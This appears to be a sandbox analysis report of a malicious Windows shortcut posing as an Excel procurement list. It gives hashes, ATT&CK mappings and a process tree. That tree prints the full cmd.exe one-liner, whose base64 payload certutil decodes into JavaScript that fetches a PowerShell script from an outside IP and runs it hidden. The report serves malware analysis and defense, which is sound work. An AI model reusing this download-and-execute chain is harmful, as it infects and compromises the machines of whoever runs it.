5fa032ceb017366e473a5ca6f5f98dd799254943a7635b0190995f75b5da4f54

Analysis

max time kernel
40s
max time network
36s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260709-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/07/2026, 12:11

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
Spisok_na_Zakupivly.xlsx.lnk
Size 37KB
Sample260720-pc184shv6m
SHA256 5fa032ceb017366e473a5ca6f5f98dd799254943a7635b0190995f75b5da4f54
MD5 a3493cae9ddfa077479b43f7f3390f84
SHA1 d6f91f65daf1b4b928b8dbbe1c9f6eb5eb7b1ca8
SHA512 08abbf671a29f380bc2341b4421c3a00528e0ff420c4ddd38339220425c83023b10cb9af69f620f15c4aa2e6a0450b91598f325069afa696928f103853611662
SSDEEP 24:8d/+2245kXCPV6yaWInZZGJ5Sp+UOi+Eu+njVHqckShZMc/81hr:8l+22tCVXanGJ5y7KEu+njtlkSfa19
TLSH
T1C903BE3435E90109E1F3FE316DF467D29E6BF6A7EAB1168D494102094912A80FE66B37
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
3	4928	wscript.exe

Deobfuscate/Decode Files or Information 1 TTPs 2 IoCs

Payload decoded via CertUtil.

defense_evasion

Deobfuscate/Decode Files or Information

T1140

pid	Process
236	cmd.exe
3640	certutil.exe

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 1 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
916	cmd.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 916 wrote to memory of 236	916	cmd.exe	89
PID 236 wrote to memory of 3640	236	cmd.exe	90
PID 236 wrote to memory of 4928	236	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\Spisok_na_Zakupivly.xlsx.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:916
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c "cd /d C:\Users\Admin\AppData\Local\Temp && echo dmFyIGg9bmV3IEFjdGl2ZVhPYmplY3QoIk1TWE1MMi5TZXJ2ZXJYTUxIVFRQLjYuMCIpO2gub3BlbigiR0VUIiwiaHR0cDovLzk0LjE0MC4xMTIuNzIvdGVuZWJyaXMvc2FkZGxla2luYXNlLnBzMSIsZmFsc2UpO2guc2V0UmVxdWVzdEhlYWRlcigiVXNlci1BZ2VudCIsIlVBIFdpbmRvd3NQb3dlclNoZWxsIik7aC5zZW5kKCk7bmV3IEFjdGl2ZVhPYmplY3QoIlNoZWxsLkFwcGxpY2F0aW9uIikuU2hlbGxFeGVjdXRlKCJwb3dlcnNoZWxsLmV4ZSIsIi1Ob1AgLVcgSGlkZGVuIC1DICIraC5yZXNwb25zZVRleHQsIiIsIm9wZW4iLDApOw== > mrLB.b64 && certutil -decode mrLB.b64 nGbs.js >nul && wscript //b nGbs.js && del mrLB.b64 nGbs.js"
  2⤵
  - Deobfuscate/Decode Files or Information
  - Suspicious use of WriteProcessMemory
  PID:236
- - C:\Windows\system32\certutil.exe
    certutil -decode mrLB.b64 nGbs.js
    3⤵
    - Deobfuscate/Decode Files or Information
    PID:3640
- - C:\Windows\system32\wscript.exe
    wscript //b nGbs.js
    3⤵
    - Badlisted process makes network request
    PID:4928

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Deobfuscate/Decode Files or Information

T1140

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

mrLB.b64

Path C:\Users\Admin\AppData\Local\Temp\mrLB.b64
Size 412B
SHA256 d768f7f4a479504c908a381255015aca9ffae554a997511b27afcee94c2812eb
MD5 c78d9949b5f1dcaa11af9d176931086c
SHA1 4901819841f64520e57749dde0c8162cf22791c3
SHA512 2e8de878fb282fd6a77727e9c377dec7bf6b2eafc80bd2eed250fcdb123296139634dd0d747f5bea73e0190d12fa0536150686f78e69f82e7d421f83f2c32d56
TLSH
T154E0F15A8C86328346B02406B6B0046FF4DD8A903923796CFB2D7C661DFC7AF84F426C
MD5 SHA1 SHA512 TLSH

Submit Download

nGbs.js

Path C:\Users\Admin\AppData\Local\Temp\nGbs.js
Size 304B
SHA256 de4c0587527973e231689dc2797b77b373cccfb43c3c2fca0e351055d649feb0
MD5 a51c6101f12a14b668aa5385782cd248
SHA1 0e045f591c44c7980891b41c56037ce3f77ba229
SHA512 409831ff791ffd497ee267149205bd2fcca2a9552ac49a42ccbb04c4beb2d694581c1777e6511ae6ae27a9a62810f76422dd9194389a9226c4e319a680226605
TLSH
T1C0E07D60403462ED10CBDFED5020C65041D744A1B007A8BBB704CBD52450204626D2CF
MD5 SHA1 SHA512 TLSH